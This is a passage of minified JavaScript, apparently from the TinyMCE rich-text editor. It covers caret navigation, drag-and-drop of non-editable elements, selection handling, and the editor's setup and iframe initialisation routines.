s,l,u;for(u=n.getClientRects(o),e==-1&&(u=u.reverse()),s=0;s<u.length;s++)if(l=u[s],!i(l,p)){if(f.length>0&&r(l,t.last(f))&&c++,l.line=c,a(l))return!0;f.push(l)}}var
c=0,d,f=[],p;return(p=t.last(s.getClientRects()))?(d=s.getNode(),u(d),l(e,o,u,d),f):f}function
c(e,t){return t.line>e}function d(e,t){return t.line===e}function
f(e,n,r,i){function l(n){return
1==e?t.last(n.getClientRects()):t.last(n.getClientRects())}var u=new
o(n),c,d,f,p,h=[],m=0,g,v;1==e?(c=u.next,d=s.isBelow,f=s.isAbove,p=a.after(i)):(c=u.prev,d=s.isAbove,f=s.isBelow,p=a.before(i)),v=l(p);do
if(p.isVisible()&&(g=l(p),!f(g,v))){if(h.length>0&&d(g,t.last(h))&&m++,g=s.clone(g),g.position=p,g.line=m,r(g))return
h;h.push(g)}while(p=c(p));return h}var
p=e.curry,h=p(u,-1,s.isAbove,s.isBelow),m=p(u,1,s.isBelow,s.isAbove);return{upUntil:h,downUntil:m,positionsUntil:f,isAboveLine:p(c),isLine:p(d)}}),r(et,[z,h,_,Qe,W,ie,U],function(e,t,n,r,i,o,a){function
s(e,t){return Math.abs(e.left-t)}function l(e,t){return
Math.abs(e.right-t)}function u(e,n){function r(e,t){return
e>=t.left&&e<=t.right}return t.reduce(e,function(e,t){var
i,o;return
i=Math.min(s(e,n),l(e,n)),o=Math.min(s(t,n),l(t,n)),r(n,t)?t:r(n,e)?e:o==i&&m(t.node)?t:o<i?t:e})}function
c(e,t,n,r){for(;r=g(r,e,a.isEditableCaretCandidate,t);)if(n(r))return}function
d(e,n){function o(e,i){var o;return
o=t.filter(r.getClientRects(i),function(t){return!e(t,n)}),a=a.concat(o),0===o.length}var
a=[];return
a.push(n),c(-1,e,v(o,i.isAbove),n.node),c(1,e,v(o,i.isBelow),n.node),a}function
f(e){return
t.filter(t.toArray(e.getElementsByTagName("*")),m)}function
p(e,t){return{node:e.node,before:s(e,t)<l(e,t)}}function h(e,n,i){var
o,a;return o=r.getClientRects(f(e)),o=t.filter(o,function(e){return
i>=e.top&&i<=e.bottom}),a=u(o,n),a&&(a=u(d(e,a),n),a&&m(a.node))?p(a,n):null}var
m=n.isContentEditableFalse,g=o.findNode,v=e.curry;return{findClosestClientRect:u,findLineNodeRects:d,closestCaret:h}}),r(tt,[],function(){var
e=function(e){var t,n,r,i;return
i=e.getBoundingClientRect(),t=e.ownerDocument,n=t.documentElement,r=t.defaultView,{top:i.top+r.pageYOffset-n.clientTop,left:i.left+r.pageXOffset-n.clientLeft}},t=function(t){return
t.inline?e(t.getBody()):{left:0,top:0}},n=function(e){var
t=e.getBody();return
e.inline?{left:t.scrollLeft,top:t.scrollTop}:{left:0,top:0}},r=function(e){var
t=e.getBody(),n=e.getDoc().documentElement,r={left:t.scrollLeft,top:t.scrollTop},i={left:t.scrollLeft||n.scrollLeft,top:t.scrollTop||n.scrollTop};return
e.inline?r:i},i=function(t,n){if(n.target.ownerDocument!==t.getDoc()){var
i=e(t.getContentAreaContainer()),o=r(t);return{left:n.pageX-i.left+o.left,top:n.pageY-i.top+o.top}}return{left:n.pageX,top:n.pageY}},o=function(e,t,n){return{pageX:n.left-e.left+t.left,pageY:n.top-e.top+t.top}},a=function(e,r){return
o(t(e),n(e),i(e,r))};return{calc:a}}),r(nt,[_,h,z,c,w,tt],function(e,t,n,r,i,o){var
a=e.isContentEditableFalse,s=e.isContentEditableTrue,l=function(e,t){return
a(t)&&t!==e},u=function(e,t,n){return
t!==n&&!e.dom.isChildOf(t,n)&&!a(t)},c=function(e){var
t=e.cloneNode(!0);return
t.removeAttribute("data-mce-selected"),t},d=function(e,t,n,r){var
i=t.cloneNode(!0);e.dom.setStyles(i,{width:n,height:r}),e.dom.setAttrib(i,"data-mce-selected",null);var
o=e.dom.create("div",{"class":"mce-drag-container","data-mce-bogus":"all",unselectable:"on",contenteditable:"false"});return
e.dom.setStyles(o,{position:"absolute",opacity:.5,overflow:"hidden",border:0,padding:0,margin:0,width:n,height:r}),e.dom.setStyles(i,{margin:0,boxSizing:"border-box"}),o.appendChild(i),o},f=function(e,t){e.parentNode!==t&&t.appendChild(e)},p=function(e,t,n,r,i,o){var
a=0,s=0;e.style.left=t.pageX+"px",e.style.top=t.pageY+"px",t.pageX+n>i&&(a=t.pageX+n-i),t.pageY+r>o&&(s=t.pageY+r-o),e.style.width=n-a+"px",e.style.height=r-s+"px"},h=function(e){e&&e.parentNode&&e.parentNode.removeChild(e)},m=function(e){return
0===e.button},g=function(e){return
e.element},v=function(e,t){return{pageX:t.pageX-e.relX,pageY:t.pageY+5}},y=function(e,r){return
function(i){if(m(i)){var
o=t.find(r.dom.getParents(i.target),n.or(a,s));if(l(r.getBody(),o)){var
u=r.dom.getPos(o),c=r.getBody(),f=r.getDoc().documentElement;e.element=o,e.screenX=i.screenX,e.screenY=i.screenY,e.maxX=(r.inline?c.scrollWidth:f.offsetWidth)-2,e.maxY=(r.inline?c.scrollHeight:f.offsetHeight)-2,e.relX=i.pageX-u.x,e.relY=i.pageY-u.y,e.width=o.offsetWidth,e.height=o.offsetHeight,e.ghost=d(r,o,e.width,e.height)}}}},b=function(e,t){var
n=r.throttle(function(e,n){t._selectionOverrides.hideFakeCaret(),t.selection.placeCaretAt(e,n)},0);return
function(r){var
i=Math.max(Math.abs(r.screenX-e.screenX),Math.abs(r.screenY-e.screenY));if(g(e)&&!e.dragging&&i>10){var
a=t.fire("dragstart",{target:e.element});if(a.isDefaultPrevented())return;e.dragging=!0,t.focus()}if(e.dragging){var
s=v(e,o.calc(t,r));f(e.ghost,t.getBody()),p(e.ghost,s,e.width,e.height,e.maxX,e.maxY),n(r.clientX,r.clientY)}}},C=function(e){var
t=e.getSel().getRangeAt(0),n=t.startContainer;return
3===n.nodeType?n.parentNode:n},x=function(e,t){return
function(n){if(e.dragging&&u(t,C(t.selection),e.element)){var
r=c(e.element),i=t.fire("drop",{targetClone:r,clientX:n.clientX,clientY:n.clientY});i.isDefaultPrevented()||(r=i.targetClone,t.undoManager.transact(function(){h(e.element),t.insertContent(t.dom.getOuterHTML(r)),t._selectionOverrides.hideFakeCaret()}))}E(e)}},w=function(e,t){return
function(){E(e),e.dragging&&t.fire("dragend")}},E=function(e){e.dragging=!1,e.element=null,h(e.ghost)},N=function(e){var
t={},n,r,o,a,s,l;n=i.DOM,l=document,r=y(t,e),o=b(t,e),a=x(t,e),s=w(t,e),e.on("mousedown",r),e.on("mousemove",o),e.on("mouseup",a),n.bind(l,"mousemove",o),n.bind(l,"mouseup",s),e.on("remove",function(){n.unbind(l,"mousemove",o),n.unbind(l,"mouseup",s)})},_=function(e){e.on("drop",function(t){var
n="undefined"!=typeof
t.clientX?e.getDoc().elementFromPoint(t.clientX,t.clientY):null;(a(n)||a(e.dom.getContentEditableParent(n)))&&t.preventDefault()})},S=function(e){N(e),_(e)};return{init:S}}),r(rt,[d,oe,$,k,ie,Je,Ze,et,_,T,W,I,z,h,c,nt],function(e,t,n,r,i,o,a,s,l,u,c,d,f,p,h,m){function
g(e,t){for(;t=e(t);)if(t.isVisible())return t;return t}function
v(u){function v(e){return
u.dom.hasClass(e,"mce-offscreen-selection")}function _(){var
e=u.dom.get(ue);return
e?e.getElementsByTagName("*")[0]:e}function S(e){return
u.dom.isBlock(e)}function k(e){e&&u.selection.setRng(e)}function
T(){return u.selection.getRng()}function
R(e,t){u.selection.scrollIntoView(e,t)}function A(e,t,n){var r;return
r=u.fire("ShowCaret",{target:t,direction:e,before:n}),r.isDefaultPrevented()?null:(R(t,e===-1),le.show(n,t))}function
B(e){var t;return
t=u.fire("BeforeObjectSelected",{target:e}),t.isDefaultPrevented()?null:D(e)}function
D(e){var t=e.ownerDocument.createRange();return t.selectNode(e),t}function
L(e,t){var
n=i.isInSameBlock(e,t);return!(n||!l.isBr(e.getNode()))||n}function
M(e,t){return
t=i.normalizeRange(e,ie,t),e==-1?n.fromRangeStart(t):n.fromRangeEnd(t)}function
P(e){return r.isCaretContainerBlock(e.startContainer)}function
O(e,t,n,r){var
i,o,a,s;return!r.collapsed&&(i=N(r),C(i))?A(e,i,e==-1):(s=P(r),o=M(e,r),n(o)?B(o.getNode(e==-1)):(o=t(o))?n(o)?A(e,o.getNode(e==-1),1==e):(a=t(o),n(a)&&L(o,a)?A(e,a.getNode(e==-1),1==e):s?$(o.toRange()):null):s?r:null)}function
H(e,t,n){var
r,i,o,l,u,c,d,f,h;if(h=N(n),r=M(e,n),i=t(ie,a.isAboveLine(1),r),o=p.filter(i,a.isLine(1)),u=p.last(r.getClientRects()),E(r)&&(h=r.getNode()),w(r)&&(h=r.getNode(!0)),!u)return
null;if(c=u.left,l=s.findClosestClientRect(o,c),l&&C(l.node))return
d=Math.abs(c-l.left),f=Math.abs(c-l.right),A(e,l.node,d<f);if(h){var
m=a.positionsUntil(e,ie,a.isAboveLine(1),h);if(l=s.findClosestClientRect(p.filter(m,a.isLine(1)),c))return
$(l.position.toRange());if(l=p.last(p.filter(m,a.isLine(0))))return
$(l.position.toRange())}}function I(t,r){function i(){var
t=u.dom.create(u.settings.forced_root_block);return(!e.ie||e.ie>=11)&&(t.innerHTML='<br
data-mce-bogus="1">'),t}var
o,a,s;if(r.collapsed&&u.settings.forced_root_block){if(o=u.dom.getParent(r.startContainer,"PRE"),!o)return;a=1==t?ae(n.fromRangeStart(r)):se(n.fromRangeStart(r)),a||(s=i(),1==t?u.$(o).after(s):u.$(o).before(s),u.selection.select(s,!0),u.selection.collapse())}}function
F(e,t,n,r){var i;return(i=O(e,t,n,r))?i:(i=I(e,r),i?i:null)}function
z(e,t,n){var r;return(r=H(e,t,n))?r:(r=I(e,n),r?r:null)}function U(){return
de("*[data-mce-caret]")[0]}function
W(e){e.hasAttribute("data-mce-caret")&&(r.showCaretContainerBlock(e),k(T()),R(e[0]))}function
V(e){var t,r;return
e=i.normalizeRange(1,ie,e),t=n.fromRangeStart(e),C(t.getNode())?A(1,t.getNode(),!t.isAtEnd()):C(t.getNode(!0))?A(1,t.getNode(!0),!1):(r=u.dom.getParent(t.getNode(),f.or(C,b)),C(r)?A(1,r,!1):null)}function
$(e){var t;return e&&e.collapsed?(t=V(e),t?t:e):e}function q(e){var
t,i,o,a;return
C(e)?(C(e.previousSibling)&&(o=e.previousSibling),i=se(n.before(e)),i||(t=ae(n.after(e))),t&&x(t.getNode())&&(a=t.getNode()),r.remove(e.previousSibling),r.remove(e.nextSibling),u.dom.remove(e),u.dom.isEmpty(u.getBody())?(u.setContent(""),void
u.focus()):o?n.after(o).toRange():a?n.before(a).toRange():i?i.toRange():t?t.toRange():null):null}function
j(e){var t=u.schema.getTextBlockElements();return e.nodeName in t}function
Y(e){return u.dom.isEmpty(e)}function X(e,t,r){var
i=u.dom,o,a,s,l;if(o=i.getParent(t.getNode(),i.isBlock),a=i.getParent(r.getNode(),i.isBlock),e===-1){if(l=r.getNode(!0),w(r)&&S(l))return
j(o)?(Y(o)&&i.remove(o),n.after(l).toRange()):q(r.getNode(!0))}else
if(l=t.getNode(),E(t)&&S(l))return
j(a)?(Y(a)&&i.remove(a),n.before(l).toRange()):q(t.getNode());if(o===a||!j(o)||!j(a))return
null;for(;s=o.firstChild;)a.appendChild(s);return
u.dom.remove(o),r.toRange()}function K(e,t,n,i){var
o,a,s,l;return!i.collapsed&&(o=N(i),C(o))?$(q(o)):(a=M(e,i),n(a)&&r.isCaretContainerBlock(i.startContainer)?(l=e==-1?oe.prev(a):oe.next(a),l?$(l.toRange()):i):t(a)?$(q(a.getNode(e==-1))):(s=e==-1?oe.prev(a):oe.next(a),t(s)?e===-1?X(e,a,s):X(e,s,a):void
0))}function G(){function i(e,t){if(e.isDefaultPrevented()===!1){var
n=t(T());n&&(e.preventDefault(),k(n))}}function o(e){for(var
t=u.getBody();e&&e!=t;){if(b(e)||C(e))return
e;e=e.parentNode}return null}function
l(e,t,n){return!n.collapsed&&p.reduce(n.getClientRects(),function(n,r){return
n||c.containsXY(r,e,t)},!1)}function f(e){var
t=!1;e.on("touchstart",function(){t=!1}),e.on("touchmove",function(){t=!0}),e.on("touchend",function(e){var
n=o(e.target);C(n)&&(t||(e.preventDefault(),ee(B(n))))})}function
g(){var
e,t=o(u.selection.getNode());b(t)&&S(t)&&u.dom.isEmpty(t)&&(e=u.dom.create("br",{"data-mce-bogus":"1"}),u.$(t).empty().append(e),u.selection.setRng(n.before(e).toRange()))}function
x(e){var
t=U();if(t)return"compositionstart"==e.type?(e.preventDefault(),e.stopPropagation(),void
W(t)):void(r.hasContent(t)&&W(t))}function N(e){var
t;switch(e.keyCode){case d.DELETE:t=g();break;case
d.BACKSPACE:t=g()}t&&e.preventDefault()}var
R=y(F,1,ae,E),D=y(F,-1,se,w),L=y(K,1,E,w),M=y(K,-1,w,E),P=y(z,-1,a.upUntil),O=y(z,1,a.downUntil);u.on("mouseup",function(){var
e=T();e.collapsed&&k(V(e))}),u.on("click",function(e){var
t;t=o(e.target),t&&(C(t)&&(e.preventDefault(),u.focus()),b(t)&&u.dom.isChildOf(t,u.selection.getNode())&&te())}),u.on("blur
NewBlock",function(){te(),re()});var H=function(e){var r=new
t(e);if(!e.firstChild)return!1;var
i=n.before(e.firstChild),o=r.next(i);return
o&&!E(o)&&!w(o)},I=function(e,t){var
n=u.dom.getParent(e,u.dom.isBlock),r=u.dom.getParent(t,u.dom.isBlock);return
n===r},j=function(e){return!(e.keyCode>=112&&e.keyCode<=123)},Y=function(e,t){var
n=u.dom.getParent(e,u.dom.isBlock),r=u.dom.getParent(t,u.dom.isBlock);return
n&&!I(n,r)&&H(n)};f(u),u.on("mousedown",function(e){var
t;if(t=o(e.target))C(t)?(e.preventDefault(),ee(B(t))):l(e.clientX,e.clientY,u.selection.getRng())||u.selection.placeCaretAt(e.clientX,e.clientY);else{te(),re();var
n=s.closestCaret(ie,e.clientX,e.clientY);n&&(Y(e.target,n.node)||(e.preventDefault(),u.getBody().focus(),k(A(1,n.node,n.before))))}}),u.on("keydown",function(e){if(!d.modifierPressed(e))switch(e.keyCode){case
d.RIGHT:i(e,R);break;case d.DOWN:i(e,O);break;case d.LEFT:i(e,D);break;case
d.UP:i(e,P);break;case d.DELETE:i(e,L);break;case
d.BACKSPACE:i(e,M);break;default:C(u.selection.getNode())&&j(e)&&e.preventDefault()}}),u.on("keyup
compositionstart",function(e){x(e),N(e)},!0),u.on("cut",function(){var
e=u.selection.getNode();C(e)&&h.setEditorTimeout(u,function(){k($(q(e)))})}),u.on("getSelectionRange",function(e){var
t=e.range;if(ce){if(!ce.parentNode)return
void(ce=null);t=t.cloneRange(),t.selectNode(ce),e.range=t}}),u.on("setSelectionRange",function(e){var
t;t=ee(e.range),t&&(e.range=t)}),u.on("AfterSetSelectionRange",function(e){var
t=e.range;Z(t)||re(),v(t.startContainer.parentNode)||te()}),u.on("focus",function(){h.setEditorTimeout(u,function(){u.selection.setRng($(u.selection.getRng()))},0)}),u.on("copy",function(t){var
n=t.clipboardData;if(!t.isDefaultPrevented()&&t.clipboardData&&!e.ie){var
r=_();r&&(t.preventDefault(),n.clearData(),n.setData("text/html",r.outerHTML),n.setData("text/plain",r.outerText))}}),m.init(u)}function
J(){var
e=u.contentStyles,t=".mce-content-body";e.push(le.getCss()),e.push(t+"
.mce-offscreen-selection {position: absolute;left: -9999999999px;max-width:
1000000px;}"+t+" *[contentEditable=false] {cursor:
default;}"+t+" *[contentEditable=true] {cursor:
text;}")}function Q(e){return
r.isCaretContainer(e)||r.startsWithCaretContainer(e)||r.endsWithCaretContainer(e)}function
Z(e){return Q(e.startContainer)||Q(e.endContainer)}function ee(t){var
n,r=u.$,i=u.dom,o,a,s,l,c,d,f,p,h;if(!t)return
null;if(t.collapsed){if(!Z(t)){if(f=M(1,t),C(f.getNode()))return
A(1,f.getNode(),!f.isAtEnd());if(C(f.getNode(!0)))return
A(1,f.getNode(!0),!1)}return null}return
s=t.startContainer,l=t.startOffset,c=t.endOffset,3==s.nodeType&&0==l&&C(s.parentNode)&&(s=s.parentNode,l=i.nodeIndex(s),s=s.parentNode),1!=s.nodeType?null:(c==l+1&&(n=s.childNodes[l]),C(n)?(p=h=n.cloneNode(!0),d=u.fire("ObjectSelected",{target:n,targetClone:p}),d.isDefaultPrevented()?null:(p=d.targetClone,o=r("#"+ue),0===o.length&&(o=r('<div
data-mce-bogus="all"
class="mce-offscreen-selection"></div>').attr("id",ue),o.appendTo(u.getBody())),t=u.dom.createRng(),p===h&&e.ie?(o.empty().append('<p
style="font-size: 0"
data-mce-bogus="all">\xa0</p>').append(p),t.setStartAfter(o[0].firstChild.firstChild),t.setEndAfter(p)):(o.empty().append("\xa0").append(p).append("\xa0"),t.setStart(o[0].firstChild,1),t.setEnd(o[0].lastChild,0)),o.css({top:i.getPos(n,u.getBody()).y}),o[0].focus(),a=u.selection.getSel(),a.removeAllRanges(),a.addRange(t),u.$("*[data-mce-selected]").removeAttr("data-mce-selected"),n.setAttribute("data-mce-selected",1),ce=n,re(),t)):null)}function
te(){ce&&(ce.removeAttribute("data-mce-selected"),u.$("#"+ue).remove(),ce=null)}function
ne(){le.destroy(),ce=null}function re(){le.hide()}var ie=u.getBody(),oe=new
t(ie),ae=y(g,oe.next),se=y(g,oe.prev),le=new
o(u.getBody(),S),ue="sel-"+u.dom.uniqueId(),ce,de=u.$;return
e.ceFalse&&(G(),J()),{showBlockCaretContainer:W,hideFakeCaret:re,destroy:ne}}var
y=f.curry,b=l.isContentEditableTrue,C=l.isContentEditableFalse,x=l.isElement,w=i.isAfterContentEditableFalse,E=i.isBeforeContentEditableFalse,N=u.getSelectedNode;return
v}),r(it,[],function(){var e=0,t=function(){var e=function(){return
Math.round(4294967295*Math.random()).toString(36)},t=(new
Date).getTime();return"s"+t.toString(36)+e()+e()+e()},n=function(n){return
n+e++ +t()};return{uuid:n}}),r(ot,[],function(){var e=function(e,t,n){var
r=e.sidebars?e.sidebars:[];r.push({name:t,settings:n}),e.sidebars=r};return{add:e}}),r(at,[w,g,N,R,A,O,P,Y,J,te,ne,re,le,ue,E,f,Le,Ie,B,L,ze,d,m,c,Ue,We,Ve,Ge,rt,it,ot,Ke],function(e,n,r,i,o,a,s,l,u,c,d,f,p,h,m,g,v,y,b,C,x,w,E,N,_,S,k,T,R,A,B,D){function
L(e,t,i){var
o=this,a,s,l;a=o.documentBaseUrl=i.documentBaseURL,s=i.baseURI,l=i.defaultSettings,t=H({id:e,theme:"modern",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:a,add_form_submit_trigger:!0,submit_patch:!0,add_unload_trigger:!0,convert_urls:!0,relative_urls:!0,remove_script_host:!0,object_resizing:!0,doctype:"<!DOCTYPE
html>",visual:!0,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",forced_root_block:"p",hidden_input:!0,padd_empty_editor:!0,render_ui:!0,indentation:"30px",inline_styles:!0,convert_fonts_to_spans:!0,indent:"simple",indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",validate:!0,entity_encoding:"named",url_converter:o.convertURL,url_converter_scope:o,ie7_compat:!0},l,t),l&&l.external_plugins&&t.external_plugins&&(t.external_plugins=H({},l.external_plugins,t.external_plugins)),o.settings=t,r.language=t.language||"en",r.languageLoad=t.language_load,r.baseURL=i.baseURL,o.id=t.id=e,o.setDirty(!1),o.plugins={},o.documentBaseURI=new
h(t.document_base_url||a,{base_uri:s}),o.baseURI=s,o.contentCSS=[],o.contentStyles=[],o.shortcuts=new
k(o),o.loadedCSS={},o.editorCommands=new
p(o),o.suffix=i.suffix,o.editorManager=i,o.inline=t.inline,o.settings.content_editable=o.inline,t.cache_suffix&&(w.cacheSuffix=t.cache_suffix.replace(/^[\?\&]+/,"")),t.override_viewport===!1&&(w.overrideViewPort=!1),i.fire("SetupEditor",o),o.execCallback("setup",o),o.$=n.overrideDefaults(function(){return{context:o.inline?o.getBody():o.getDoc(),element:o.getBody()}})}var
M=e.DOM,P=r.ThemeManager,O=r.PluginManager,H=E.extend,I=E.each,F=E.explode,z=E.inArray,U=E.trim,W=E.resolve,V=g.Event,$=w.gecko,q=w.ie;return
L.prototype={render:function(){function
e(){M.unbind(window,"ready",e),n.render()}function t(){var
e=m.ScriptLoader;if(r.language&&"en"!=r.language&&!r.language_url&&(r.language_url=n.editorManager.baseURL+"/langs/"+r.language+".js"),r.language_url&&e.add(r.language_url),r.theme&&"function"!=typeof
r.theme&&"-"!=r.theme.charAt(0)&&!P.urls[r.theme]){var
t=r.theme_url;t=t?n.documentBaseURI.toAbsolute(t):"themes/"+r.theme+"/theme"+o+".js",P.load(r.theme,t)}E.isArray(r.plugins)&&(r.plugins=r.plugins.join("
")),I(r.external_plugins,function(e,t){O.load(t,e),r.plugins+="
"+t}),I(r.plugins.split(/[
,]/),function(e){if(e=U(e),e&&!O.urls[e])if("-"==e.charAt(0)){e=e.substr(1,e.length);var
t=O.dependencies(e);I(t,function(e){var
t={prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"};e=O.createUrl(t,e),O.load(e.resource,e)})}else
O.load(e,{prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"})}),e.loadQueue(function(){n.removed||n.init()},n,function(e){D.pluginLoadError(n,e[0]),n.removed||n.init()})}var
n=this,r=n.settings,i=n.id,o=n.suffix;if(!V.domLoaded)return void
M.bind(window,"ready",e);if(n.getElement()&&w.contentEditable){r.inline?n.inline=!0:(n.orgVisibility=n.getElement().style.visibility,n.getElement().style.visibility="hidden");var
a=n.getElement().form||M.getParent(i,"form");a&&(n.formElement=a,r.hidden_input&&!/TEXTAREA|INPUT/i.test(n.getElement().nodeName)&&(M.insertAfter(M.create("input",{type:"hidden",name:i}),i),n.hasHiddenInput=!0),n.formEventDelegate=function(e){n.fire(e.type,e)},M.bind(a,"submit
reset",n.formEventDelegate),n.on("reset",function(){n.setContent(n.startContent,{format:"raw"})}),!r.submit_patch||a.submit.nodeType||a.submit.length||a._mceOldSubmit||(a._mceOldSubmit=a.submit,a.submit=function(){return
n.editorManager.triggerSave(),n.setDirty(!1),a._mceOldSubmit(a)})),n.windowManager=new
v(n),n.notificationManager=new
y(n),"xml"==r.encoding&&n.on("GetContent",function(e){e.save&&(e.content=M.encode(e.content))}),r.add_form_submit_trigger&&n.on("submit",function(){n.initialized&&n.save()}),r.add_unload_trigger&&(n._beforeUnload=function(){!n.initialized||n.destroyed||n.isHidden()||n.save({format:"raw",no_events:!0,set_dirty:!1})},n.editorManager.on("BeforeUnload",n._beforeUnload)),n.editorManager.add(n),t()}},init:function(){function
e(n){var
r=O.get(n),i,o;if(i=O.urls[n]||t.documentBaseUrl.replace(/\/$/,""),n=U(n),r&&z(m,n)===-1){if(I(O.dependencies(n),function(t){e(t)}),t.plugins[n])return;o=new
r(t,i,t.$),t.plugins[n]=o,o.init&&(o.init(t,i),m.push(n))}}var
t=this,n=t.settings,r=t.getElement(),i,o,a,s,l,u,c,d,f,p,h,m=[];if(t.rtl=n.rtl_ui||t.editorManager.i18n.rtl,t.editorManager.i18n.setCode(n.language),n.aria_label=n.aria_label||M.getAttrib(r,"aria-label",t.getLang("aria.rich_text_area")),t.fire("ScriptsLoaded"),n.theme&&("function"!=typeof
n.theme?(n.theme=n.theme.replace(/-/,""),u=P.get(n.theme),t.theme=new
u(t,P.urls[n.theme]),t.theme.init&&t.theme.init(t,P.urls[n.theme]||t.documentBaseUrl.replace(/\/$/,""),t.$)):t.theme=n.theme),I(n.plugins.replace(/\-/g,"").split(/[
,]/),e),n.render_ui&&t.theme&&(t.orgDisplay=r.style.display,"function"!=typeof
n.theme?(i=n.width||r.style.width||r.offsetWidth,o=n.height||r.style.height||r.offsetHeight,a=n.min_height||100,p=/^[0-9\.]+(|px)$/i,p.test(""+i)&&(i=Math.max(parseInt(i,10),100)),p.test(""+o)&&(o=Math.max(parseInt(o,10),a)),l=t.theme.renderUI({targetNode:r,width:i,height:o,deltaWidth:n.delta_width,deltaHeight:n.delta_height}),n.content_editable||(o=(l.iframeHeight||o)+("number"==typeof
o?l.deltaHeight||0:""),o<a&&(o=a))):(l=n.theme(t,r),l.editorContainer.nodeType&&(l.editorContainer.id=l.editorContainer.id||t.id+"_parent"),l.iframeContainer.nodeType&&(l.iframeContainer.id=l.iframeContainer.id||t.id+"_iframecontainer"),o=l.iframeHeight||r.offsetHeight),t.editorContainer=l.editorContainer),n.content_css&&I(F(n.content_css),function(e){t.contentCSS.push(t.documentBaseURI.toAbsolute(e))}),n.content_style&&t.contentStyles.push(n.content_style),n.content_editable)return
r=s=l=null,t.initContentBody();if(t.iframeHTML=n.doctype+"<html><head>",n.document_base_url!=t.documentBaseUrl&&(t.iframeHTML+='<base
href="'+t.documentBaseURI.getURI()+'"
/>'),!w.caretAfter&&n.ie7_compat&&(t.iframeHTML+='<meta
http-equiv="X-UA-Compatible" content="IE=7"
/>'),t.iframeHTML+='<meta
http-equiv="Content-Type" content="text/html;
charset=UTF-8"
/>',!/#$/.test(document.location.href))for(h=0;h<t.contentCSS.length;h++){var
g=t.contentCSS[h];t.iframeHTML+='<link type="text/css"
rel="stylesheet"
href="'+E._addCacheSuffix(g)+'"
/>',t.loadedCSS[g]=!0}d=n.body_id||"tinymce",d.indexOf("=")!=-1&&(d=t.getParam("body_id","","hash"),d=d[t.id]||d),f=n.body_class||"",f.indexOf("=")!=-1&&(f=t.getParam("body_class","","hash"),f=f[t.id]||""),n.content_security_policy&&(t.iframeHTML+='<meta
http-equiv="Content-Security-Policy"
content="'+n.content_security_policy+'"
/>'),t.iframeHTML+='</head><body
id="'+d+'" class="mce-content-body
'+f+'"
data-id="'+t.id+'"><br></body></html>';var
v='javascript:(function(){document.open();document.domain="'+document.domain+'";var
ed =
window.parent.tinymce.get("'+t.id+'");document.write(ed.iframeHTML);document.close();ed.initContentBody(true);})()';document.domain!=location.hostname&&w.ie&&w.ie<12&&(c=v);var
y=M.create("iframe",{id:t.id+"_ifr",frameBorder:"0",allowTransparency:"true",title:t.editorManager.translate("Rich
Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0
for
help"),style:{width:"100%",height:o,display:"block"}});if(y.onload=function(){y.onload=null,t.fire("load")},M.setAttrib(y,"src",c||'javascript:""'),t.contentAreaContainer=l.iframeContainer,t.iframeElement=y,s=M.add(l.iframeContainer,y),q)try{t.getDoc()}catch(b){s.src=c=v}l.editorContainer&&(M.get(l.editorContainer).style.display=t.orgDisplay,t.hidden=M.isHidden(l.editorContainer)),t.getElement().style.display="none",M.setAttrib(t.id,"aria-hidden",!0),c||t.initContentBody(),r=s=l=null},initContentBody:function(t){var
n=this,r=n.settings,s=n.getElement(),p=n.getDoc(),h,m;r.inline||(n.getElement().style.visibility=n.orgVisibility),t||r.content_editable||(p.open(),p.write(n.iframeHTML),p.close()),r.content_editable&&(n.on("remove",function(){var
e=this.getBody();M.removeClass(e,"mce-content-body"),M.removeClass(e,"mce-edit-focus"),M.setAttrib(e,"contentEditable",null)}),M.addClass(s,"mce-content-body"),n.contentDocument=p=r.content_document||document,n.contentWindow=r.content_window||window,n.bodyElement=s,r.content_document=r.content_window=null,r.root_name=s.nodeName.toLowerCase()),h=n.getBody(),h.disabled=!0,n.readonly=r.readonly,n.readonly||(n.inline&&"static"==M.getStyle(h,"position",!0)&&(h.style.position="relative"),h.contentEditable=n.getParam("content_editable_state",!0)),h.disabled=!1,n.editorUpload=new
T(n),n.schema=new b(r),n.dom=new
e(p,{keep_values:!0,url_converter:n.convertURL,
url_converter_scope:n,hex_colors:r.force_hex_style_colors,class_filter:r.class_filter,update_styles:!0,root_element:n.inline?n.getBody():null,collect:r.content_editable,schema:n.schema,onSetAttrib:function(e){n.fire("SetAttrib",e)}}),n.parser=new
C(r,n.schema),n.parser.addAttributeFilter("src,href,style,tabindex",function(e,t){for(var
r=e.length,i,o=n.dom,a,s;r--;)if(i=e[r],a=i.attr(t),s="data-mce-"+t,!i.attributes.map[s]){if(0===a.indexOf("data:")||0===a.indexOf("blob:"))continue;"style"===t?(a=o.serializeStyle(o.parseStyle(a),i.name),a.length||(a=null),i.attr(s,a),i.attr(t,a)):"tabindex"===t?(i.attr(s,a),i.attr(t,null)):i.attr(s,n.convertURL(a,t,i.name))}}),n.parser.addNodeFilter("script",function(e){for(var
t=e.length,n,r;t--;)n=e[t],r=n.attr("type")||"no/type",0!==r.indexOf("mce-")&&n.attr("type","mce-"+r)}),n.parser.addNodeFilter("#cdata",function(e){for(var
t=e.length,n;t--;)n=e[t],n.type=8,n.name="#comment",n.value="[CDATA["+n.value+"]]"}),n.parser.addNodeFilter("p,h1,h2,h3,h4,h5,h6,div",function(e){for(var
t=e.length,r,i=n.schema.getNonEmptyElements();t--;)r=e[t],r.isEmpty(i)&&0===r.getAll("br").length&&(r.append(new
o("br",1)).shortEnded=!0)}),n.serializer=new
a(r,n),n.selection=new l(n.dom,n.getWin(),n.serializer,n),n.formatter=new
u(n),n.undoManager=new c(n),n.forceBlocks=new f(n),n.enterKey=new
d(n),n._nodeChangeDispatcher=new i(n),n._selectionOverrides=new
R(n),n.fire("PreInit"),r.browser_spellcheck||r.gecko_spellcheck||(p.body.spellcheck=!1,M.setAttrib(h,"spellcheck","false")),n.quirks=new
